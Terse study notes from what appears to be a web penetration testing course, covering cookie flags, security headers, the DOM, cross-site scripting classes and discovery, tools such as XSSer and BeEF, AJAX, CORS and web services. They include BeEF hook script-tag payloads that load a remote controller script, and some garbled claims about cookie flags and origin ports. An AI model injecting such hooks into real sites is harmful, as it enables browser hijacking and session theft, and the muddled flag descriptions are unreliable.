# Day 4: Part 1: Protecting Cookies

1) Cookie = session information + user creds.

cookie stolen = user impersonation can happen.

cookie security → HTTPOnly (no HTTP only HTTPS)
→ same site (exchange only on same site)
↳ secure. (only HTTP, no f-end JS, etc.)

⇒ Take points for cookie security.

Same-site → None
→ Lax: Xsite sometimes (regular links ✓, not xss, CSRF links)
↳ strict: Xsite No

(2) HTTP Security Headers:

- x-Frame-options: prevent framing / clickjacking.
- HSTS: ensures all xchange is HTTPS
- CSP: tells from where active content can load

X-Frame-options → Deny (prevent)
→ same origin (only from same og)

HSTS: always HTTPS, max-Age, After 1st visit

CSP:
- prevent xss.
- specify server origins and endpoints that can load content.

# Day 4: Part 2: DOM:

**DOM:**
- programming interface for HTML/XML docs.
- p/form + lng neutral.
- Allows JS to change contents/style/structure.
- OOP representation of a web page.
- W3C + WHATWG DOM is used by most bwsrs

**DOMtree:** I Know

Firefox: options → web Dev Tools
Chrome: options → More Tools → Dev Tools

**BRW Dev Tools:**
- Allows DOM Inspect
- click on elements
  - see deets, → Live mods.
  - JS Debugger

**JS + DOM Manipulation**
- DOM is good, but rich web app = need manipulation
- JS = OOP language based on ECMA script.
- JS = simple programming language.
  - power = API exposed by browsers
  - API = traverse, read, manip DOM elements.

**⑥ Java Script:**
- Fnc
- Objects → properties/attributes
  - Method (Functions for obj)

JS Objects : → String = new String ("hello"
→ Date = new Date();
→ Array = courses=['A', 'B'];

JS BRWS Obj: document.forms (.length) ([0,1])
document.forms.submit
".action.

JS Web Page Interaction : → Read properties, attributes
→ document.cookie (if not HTTPOnly)

## Day 4: Part 3 : XSS Primer :

→ Reflected (2) } Traditional, Server sends script & pred
→ Persistent (1) } ends to
→ DOM (0) } Non-tradition. Request x to server

→ Most prevalent flaw in the Internet
→ More diff to prevent than SQLi, LFI/RFI, RCE

② HTML Injection : Flaw where attacker can inject HTML Code (html tags that are exclusively HTML)

→ Attacker controlled HTML as server response.
→ Lack of sanitize, browser also is the victim.
→ XSS = HTML Injection + JS
→ usually in Form Input fields.

1) Script Injection (1) :

XSS = HTML Inj + JS Injection.

originserver = SOP (same origin Policy)

SOP = safeguards inter site JS sharing and execution.

$A \xrightarrow{JS} B$ (X)

SOP Requirements → Port : 4343
→ scheme : https
→ Host : domain name.

No SOP → Not XSS ; just scripting.

(2) SOP Cookies < SOP DOM

(3) Externally sourced XSS Scripts :
↳ Browser Requests, we fetch
↳ Most params wont allow many lines of code, hence external script helps. (↑ lines of code)
↳ Beef Hook: <script src="http:vortex.test/hook.js"></script>

(4) Present xss as it came from origin server itself (NOT Bypassing SOP)

# Day 4: Part 4: Classes of XSS

1) Reflected (2) Stored (3) DOM

4) Universal (5) Self XSS (Self victim)

(Browsers, other tools, plugins victims)

Reflected XSS (NP)
- → Easiest to understand
- → Simple to discover
- → Most common in examples

- → Dynamic in nature
- → paylod immediate deliver and execution
- → Victim should submit attack payload to website for immediate reflection.

ZAP → Tools → Encode / Decode / Hash

Burp → Decoder

## FIREFOX + IS :

- function → encodeURIComponent()
- whole URL → encodeURI()

(3) STORED XSS (Persistent) : Input persists across all additional interactions with the site.

Single input → millions people.

Where? → Blog cmts → Msg Fnch → Acct Profile
→ Forum data → Log mech → Support Fnc

OOB XSS injections → web email clients
→ Security device ctrls (SIEM, IDS, etc).

Inter protocol XSS : JS comes from a diff protocol (Non web)

- TXT record containing JS in DNS zone in 2014
- JS triggers when user looked up for "www.x2.com" at a DNS lookup website
- JS → DNS (UDP 53) → DNS website → Browser (80, 443)

④ DOM XSS: → Exploitation = JS execution
→ overtly impactful to client
→ Difficult to convince org about importance.

→ Closer to Reflected than stored.

→ Dynamic Request + NP response + Social Eng

DOM XSS = Client XSS ( Req x Server at all)
= Client side script exec → JS exec

## Day 4: Part 6: DISCOVER XSS

Discovery → Unique strings
→ what chars filtered?
↳ PoC payloads.

Params → URL params
→ POST params
↳ Headers (UA, Cookies, Referrer)

Stored XSS Discovery: Different UNIQUE strings to see which part of application is affected.

## Common XSS injections :

- HTML code
- pre exist JS
- Tag attributes

**Filter Tests :** Reflection != XSS.

- Do xss payloads if found reflection.
- Filters block Known Bad not allow known Good

**Disabling Busr Blocking**

- Use Ffox
- use old busr
  - disable xss filtering capabilities

**XSS Payloads**

- Fuzzdb
- JBroFuzz (ZAP)
  - BURP
  - ZAP
    - xsser

# Day4 : Part 7 : XSS Impacts

- Possible upgrades to Alert
- Session Abuse (session Hijack, Non-interactive session abuse)

↑ SESSION HIJACK : Stealing cookies / tokens of users

same-origin script = interact with page's DOM.

DOM Reviews
- doc.cookie (cookies)
- doc.URL (Query params)
- doc.Forms (hidden form + CSRF tokens).

- using location to send data to a server :

- HTTPONLY = No cookie shown.

# Day 4: part 9: XSS Tools:

## BURP Intruder:

- B Ram: one payload, many positions & simult.
- Grep Payloads.
- Grep payloads + BRam.

- XSSSniper:
  - Python based XSS Tool
  - Gianluca Brindisi
  - ↳ Reflected XSS testing of known URLs

```
xsssniper -u "http://abc.org" --crawl --forms
```

- XSSer: written in Python.
  - cli + GUI interface.
  - --heuristic (what filters are employed)
  - --Hex, --Dec, --Une.
  - --proxy.

XSSScrapy:
- → Python
- → Magic string: 9z9qjx
- → ' " ( ) = < x >
  " ( ) { } [ ] ;
  Javascript. prompt (99)

## Reflected POST:

- GET = easy, POST = difficult.
- get2post.py ( GET → POST XSS attacks ).

## Day 4: Part 10: BeEF

- Pentest tool that focuses on exploits against a browser.
- payloads to be executed in a browser.
  ∴ ( Beef + XSS , as in context of browser)
- Beef
  - → Controller : manage Hooked browsers
  - → Clientside JS file : inject in vuln web app to exploit browser

## Beef Hook:

- JS file turns brwsr → bot
- connect to controller every second and ask for new cmds
- once controller gives commd → Hook executes it → sends results to controller.
- Framework API = easy to create new cmd and integrate it.
- Hook runs, till page is open. Page closed = Hook stops.
- Persistence → Add nt exploits.
- Beef JS file → hook.js (automatically).
- can be used in XSS payload

```
<script src="http://beef/hook.js"></script>
```

- Payload exec → report to Beef controller.
- Supports HTTPS as well.
- Hook → minimized + obfuscated.

## Beef controller:

- Runs as a server, on RUBY
- many hooked zombies
- anywhere on internet. (reachable by hooked browser)
- HTTP used in Real world.
- Green → works x visible
  Orange → works, maybe visible
  Grey → not confirmed
  Red → x work.
- Results → Module Results History.

## Beef Payloads :→ Info gather, N/w disc, social eng, tunneling

→ out of the box

→ + Metasploit

→ social eng = SCARY!

→ control the DOM, change cnts.

→ API's → powerful extension

# DAY 4: Part 12: AJAX

AJAX: Async JS + XML

- → req, ← resp without redrawing web page.
- Decouples data interchang & presentation layers.
- responsible for BACKGROUND Requests; i.e; saving data

② XHR: allows interaction with remote servers.

- req sent in bground.
- once req sent, dev function can be called
- allows UA to update DOM, without disturbing what user is doing.
- JQuery, Angular, React, replace XHR, with their own implementation.
- Fetch API powerful to replace XHR.

XHR

0 = Unsent, open() X called
1 = opened, open() called
2 = sent, sent(), headers + status ✓
3 = loading, downloading
4 = Done - complete.

readyState values

XHR Methods

open(): req init, methods defined

withCredentials: cookies or not

onreadystate change: contains event handler, called wher RS changes.

response: contains response body

response text: " " as text

status: status code of response

oXHR = any request

WebSockets = full duplex comm$^n$ on a 1 channel
- allows event-driven responses, no polling.

the server.

XHR ⇒ same rules apply. ┌→ SOP
                        └→ send req.
                           └→ SOP can block to read resp by XHR.

## EVADING SOP:

- AJAX Proxy ┌→ app level proxy
             └→ Web Busr not aware of AJAX proxy (no cookies of target app sent, must be somehow handled by AJAX)

**CORS**: allows sharing of data among sites.
- used in XHR Ajax and Fetch API.
- ACAO, ACAC

ACAO: which origin can access content on the site.
ACAC: JS can read response if AJAX was sent with credentials.

**Testing AJAX Apps:**
- ┌→ Almost all same
  → difficult = mapping. (1 page web apps)
- → lot of content is dynamic (∴ crawlers bad)
- → BURP + ZAP, come with something but xgod
- → plain old clicking is best.

## JS Frameworks:

- Framework = entire app design.
- offload development, so developer can use Fw.
- jQuery, Angular, React, bootstrap.
- check frameworks, for known vulns.
  (Retire.js)
- can also be used on server side
  ↳ NODE JS. (slack, discord, GithubAtom)

## Day 4: Part 13: Data Attacks

→ lot of logic/data → client (more responsive, easy to work)

→ so much data passed, sometimes (more data than needed, sensitive data can be sent).

DATA formats:

SOAP/REST → XML → then came JSON.

- open data interchange format.

- JSON = language indepent
  = from JS, but now all langs support.

adv = less verbose, smaller, closer to JS.

- JSON = JS code
  = eval() = evil!
  = eval(), JSON.parse() ✓

## Attacks on JSON:

JSON on SS: cmd, SQL, File injection.

JSON on CS: XSS if eval(), sensitive data exposure.

## Day 4: Part 14: REST + SOAP

- webservice = app that can define, described, published over Internet.
- use HTTP protocol

- REST → HTTP → R/W with stateless protocol

SOAP → XML based → HTTP (+applayer protocols) → Msging Protocol

# Rest FUL Webservice

- API compliant with REST architectural requirements = Restful API
- Msg trans in JSON (mostly) but can use ANY.

SOAP :

- msg protocol
- extensible, neutral (TCP, UDP, HTTP, SMTP)
- works with any prog model.
- msgs transferred in XML.
- SOAP UI works only on windows OS.
- can import collections; WSDL, swagger etc.

- testing is same.
  - Request send through proxy, then test.
  - even work for NATIVE (mobile apps)
  - check logic flaws.